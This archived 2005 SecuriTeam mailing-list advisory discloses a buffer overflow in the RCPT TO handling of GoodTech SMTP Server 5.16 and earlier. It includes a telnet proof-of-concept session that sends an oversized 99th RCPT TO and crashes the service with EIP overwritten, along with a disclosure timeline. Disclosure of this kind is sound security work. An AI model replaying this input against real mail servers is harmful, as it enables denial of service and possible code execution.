

[NT] GoodTech SMTP Server RCPT TO Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0067.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/25/05

To: list@securiteam.com

Date: 25 Jul 2005 18:06:56 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GoodTech SMTP Server RCPT TO Buffer Overflow

SUMMARY

" <<http://www.goodtechsys.com/>> GoodTech SMTP provides Simple Mail Transfer Protocol (SMTP) to any email client out of the box. It forwards email messages directly to their recipients. GoodTech SMTP server runs as a service on the host Windows machine."

Lack of proper boundary checking allows attackers to cause GoodTech SMTP Server to execute arbitrary code.

DETAILS

Vulnerable Systems:

* GoodTech SMTP server version 5.16 and prior

Immune Systems:

* GoodTech SMTP server version 5.17

For each RCPT TO command, the server fills a 1300 bytes structure containing the requested command and the MX server for the requested email.

Securiteam: [NT] GoodTech SMTP Server RCPT TO Buffer Overflow

The server allows up to 99 RCPT TO for a single mail, but the filling of this structure is done via unchecked string copy : the command, up to 4096 bytes long, is copied without checking into the structure.

This behavior allows us to overwrite the return address of the thread by issuing a long command in the 99th RCPT TO command. We have then to issue a QUIT command to exit the thread and execute our code.

Proof of concept:

```
$ telnet localhost 25
```

```
Connected to localhost.
```

```
Escape character is '^['.
```

```
220 test Simple Mail Transfer Service Ready. Version 5.15 (Evaluation)
```

```
HELO aaa
```

```
250 OK
```

```
-- Repeat this part 98 times
```

```
RCPT TO: <aa@aa>
```

```
250 OK
```

```
--
```

```
RCPT TO: <|'A'x2600|@localhost>
```

```
250 OK
```

```
QUIT
```

```
Connection closed by foreign host.
```

```
Service crashes with EIP==0x41414141
```

Disclosure Timeline:

2005-07-19 - Discovery

2005-07-21 - First attempt to contact developer

2005-07-21 - Developer reply

2005-07-22 - Fixed version released

2005-07-23 - Advisory published

ADDITIONAL INFORMATION

The information has been provided by

<mailto:ml-bugtraq@twilight-hall.net> Rapha l Rigo .

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securitea

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,